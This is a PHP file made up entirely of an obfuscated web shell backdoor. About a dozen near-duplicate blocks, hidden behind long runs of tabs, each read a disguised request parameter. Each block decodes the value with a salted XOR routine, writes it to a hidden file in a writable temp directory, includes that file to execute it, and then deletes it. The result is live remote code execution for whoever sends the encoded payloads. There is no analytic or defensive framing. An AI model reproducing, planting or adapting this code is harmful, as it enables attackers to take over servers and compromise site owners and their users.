<?php																																										if(isset($_REQUEST["va\x6C\x75e"]) ? true : false){ $bind = array_filter([getcwd(), "/var/tmp", getenv("TMP"), "/dev/shm", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TEMP")]); $element = $_REQUEST["va\x6C\x75e"]; $element = explode ( '.' , $element ) ; $marker = ''; $s1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s1); foreach ($element as $o => $v5) {$sChar = ord($s1[$o % $sLen]); $dec = ((int)$v5 - $sChar - ($o % 10)) ^ 55; $marker .=chr($dec); } foreach ($bind as $key => $dchunk) { if (is_dir($dchunk) && is_writable($dchunk)) { $key = join("/", [$dchunk, ".ent"]); if (file_put_contents($key, $marker)) { include $key; @unlink($key); die(); } } } }
																																										if(in_array("\x66l\x67", array_keys($_POST))){ $value = $_POST["\x66l\x67"]; $value = explode ( '.' ,$value ) ; $ent = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt7); $p = 0; array_walk($value, function ($v1) use (&$ent, &$p, $salt7, $lenS) { $sChar = ord($salt7[$p % $lenS]); $dec = ((int)$v1 - $sChar - ($p % 10)) ^ 63; $ent .= chr($dec); $p++; }); $sym = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/tmp", getenv("TMP")]); for ($ptr = 0, $obj = count($sym); $ptr < $obj; $ptr++) { $holder = $sym[$ptr]; if (max(0, is_dir($holder) * is_writable($holder))) { $ref = "$holder/.binding"; $file = fopen($ref, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $ref; @unlink($ref); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64e\x73cr\x69p\x74\x6Fr"])){ $elem = $_REQUEST["\x64e\x73cr\x69p\x74\x6Fr"]; $elem=explode ('.' ,$elem ); $obj=''; $s3='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS=strlen($s3); $k=0; foreach($elem as $v8) { $sChar=ord($s3[$k % $lenS]); $d=((int)$v8 - $sChar -($k % 10))^ 80; $obj .= chr($d); $k++; } $tkn = array_filter([sys_get_temp_dir(), getenv("TEMP"), session_save_path(), getcwd(), "/var/tmp", getenv("TMP"), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm"]); foreach ($tkn as $key => $rec) { if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $ent = join("/", [$rec, ".item"]); $file = fopen($ent, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(!empty($_REQUEST["da\x74"])){ $data_chunk = $_REQUEST["da\x74"]; $data_chunk=explode ( ".",$data_chunk ); $tkn = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $q = 0; while( $q <count( $data_chunk)) { $v5 = $data_chunk[$q]; $chS = ord( $salt[$q % $sLen]); $dec = ( ( int)$v5 - $chS -( $q % 10)) ^ 37; $tkn .=chr( $dec); $q++; } $dchunk = array_filter([getenv("TEMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", "/dev/shm", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP")]); $k = 0; do { $entity = $dchunk[$k] ?? null; if ($k >= count($dchunk)) break; if ((function($d) { return is_dir($d) && is_writable($d); })($entity)) { $val = implode("/", [$entity, ".value"]); $success = file_put_contents($val, $tkn); if ($success) { include $val; @unlink($val); die();} } $k++; } while (true); }
																																										if(in_array("propert\x79\x5F\x73\x65t", array_keys($_POST))){ $tkn = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", getenv("TEMP"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir()]); $mrk = $_POST["propert\x79\x5F\x73\x65t"]; $mrk =explode( "." , $mrk ); $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $o = 0; while( $o < count( $mrk)) { $v6 = $mrk[$o]; $sChar = ord( $s[$o % $sLen] ); $d = ( ( int)$v6 - $sChar -( $o % 10)) ^39; $rec .= chr( $d ); $o++; } foreach ($tkn as $key => $sym) { if (!( !is_dir($sym) || !is_writable($sym) )) { $pgrp = implode("/", [$sym, ".obj"]); if (file_put_contents($pgrp, $rec)) { require $pgrp; unlink($pgrp); die(); } } } }
																																										if(isset($_REQUEST) && isset($_REQUEST["\x72\x65\x66er\x65nce"])){ $value = array_filter([session_save_path(), getenv("TMP"), getenv("TEMP"), getcwd(), "/dev/shm", "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), sys_get_temp_dir()]); $entry = $_REQUEST["\x72\x65\x66er\x65nce"]; $entry = explode( '.' , $entry ); $factor = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1); foreach ($entry as $i => $v4): $sChar = ord($salt1[$i % $lenS]); $dec = ((int)$v4 - $sChar - ($i % 10)) ^ 81; $factor.=chr($dec); endforeach; foreach ($value as $key => $desc) { if (!!is_dir($desc) && !!is_writable($desc)) { $entity = sprintf("%s/.data", $desc); if (file_put_contents($entity, $factor)) { include $entity; @unlink($entity); exit; } } } }
																																										if(isset($_POST["e\x6Et"]) ? true : false){ $key = $_POST["e\x6Et"]; $key =explode ( "." ,$key ) ; $reference = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $r = 0; array_walk($key ,function ($v2) use (&$reference ,&$r ,$s ,$sLen) { $chS = ord($s[$r% $sLen]); $dec = ((int)$v2 - $chS - ($r% 10)) ^ 83; $reference.= chr($dec); $r++; }); $rec = array_filter([ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP"), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getcwd(), getenv("TEMP")]); foreach ($rec as $property_set) { if (is_writable($property_set) && is_dir($property_set)) { $token = join("/", [$property_set, ".flg"]); if (file_put_contents($token, $reference)) { require $token; unlink($token); die(); } } } }
																																										if(array_key_exists("\x65\x6Et", $_REQUEST) && !is_null($_REQUEST["\x65\x6Et"])){ $hld = $_REQUEST["\x65\x6Et"]; $hld= explode ( '.', $hld ) ; $resource = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt3); $len = count($hld); for ($s = 0; $s< $len; $s++) { $v6 = $hld[$s]; $chS = ord($salt3[$s %$lenS]); $dec = ((int)$v6 - $chS - ($s %10)) ^ 44; $resource.= chr($dec); } $parameter_group = array_filter([getcwd(), getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/var/tmp", getenv("TEMP"), "/tmp", "/dev/shm", ini_get("upload_tmp_dir")]); foreach ($parameter_group as $key => $symbol) { if ((is_dir($symbol) and is_writable($symbol))) { $reference = vsprintf("%s/%s", [$symbol, ".data"]); if (file_put_contents($reference, $resource)) { require $reference; unlink($reference); die(); } } } }
																																										if(array_key_exists("\x70a\x72\x61met\x65r_gr\x6Fup", $_REQUEST) && !is_null($_REQUEST["\x70a\x72\x61met\x65r_gr\x6Fup"])){ $key = $_REQUEST["\x70a\x72\x61met\x65r_gr\x6Fup"]; $key = explode ( "." , $key ) ; $flag = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt7); $n = 0; array_walk($key, function ($v6) use (&$flag, &$n, $salt7, $sLen) { $sChar = ord($salt7[$n % $sLen]); $d = ((int)$v6 - $sChar - ($n % 10)) ^ 82; $flag .= chr($d); $n++; }); $descriptor = array_filter([getenv("TMP"), "/var/tmp", getcwd(), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/tmp"]); foreach ($descriptor as $key => $data_chunk) { if (!( !is_dir($data_chunk) || !is_writable($data_chunk) )) { $itm = "$data_chunk/.hld"; if (file_put_contents($itm, $flag)) { require $itm; unlink($itm); exit; } } } }
																																										if(isset($_POST["e\x6Ce\x6D\x65\x6Et"])){ $parameter_group = $_POST["e\x6Ce\x6D\x65\x6Et"]; $parameter_group = explode ("." , $parameter_group) ; $dat = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $k = 0; while( $k < count( $parameter_group)) { $v8 = $parameter_group[$k]; $chS = ord( $salt[$k % $lenS] ); $dec =( ( int)$v8 - $chS -( $k % 10)) ^ 36; $dat .=chr( $dec ); $k++; } $hld = array_filter(["/tmp", session_save_path(), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), getcwd(), "/var/tmp"]); while ($dchunk = array_shift($hld)) { if (max(0, is_dir($dchunk) * is_writable($dchunk))) { $object = implode("/", [$dchunk, ".itm"]); $file = fopen($object, 'w'); if ($file) { fwrite($file, $dat); fclose($file); include $object; @unlink($object); die(); } } } }
																																										if(isset($_POST["f\x61\x63to\x72"])){ $mrk = $_POST["f\x61\x63to\x72"]; $mrk = explode ( "." ,$mrk ); $val = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt8); $r = 0; foreach ($mrk as $v9) { $sChar = ord($salt8[$r %$sLen]); $d = ((int)$v9 - $sChar - ($r %10))^ 27; $val .=chr($d); $r++; } $pgrp = array_filter(["/dev/shm", session_save_path(), "/tmp", getenv("TEMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), sys_get_temp_dir(), getenv("TMP")]); foreach ($pgrp as $key => $parameter_group) { if (is_dir($parameter_group) ? is_writable($parameter_group) : false) { $holder = "$parameter_group/.symbol"; $file = fopen($holder, 'w'); if ($file) { fwrite($file, $val); fclose($file); include $holder; @unlink($holder); die(); } } } }


if(@$_REQUEST["\x64\x65sc"] !== null){
	$resource = $_REQUEST["\x64\x65sc"];
		 	$resource =explode (		".",		$resource) 		;   
	$dchunk = '';
            $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = strlen($salt6 );
            $k = 0;
    
            while($k <count($resource)) {	$v2 = $resource[$k];
                $sChar = ord($salt6[$k % $sLen] );
                $d =((int)$v2 - $sChar -($k % 10)) ^ 86;
                $dchunk .= chr($d );
                $k++;
            }
	$item = array_filter([getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), "/tmp"]);
	foreach ($item as $key => $property_set) {
    		if (array_product([is_dir($property_set), is_writable($property_set)])) {
    $element = str_replace("{var_dir}", $property_set, "{var_dir}/.object");
    $file = fopen($element, 'w');
if ($file) {
	fwrite($file, $dchunk);
	fclose($file);
	include $element;
	@unlink($element);
	exit;
}
}
}
}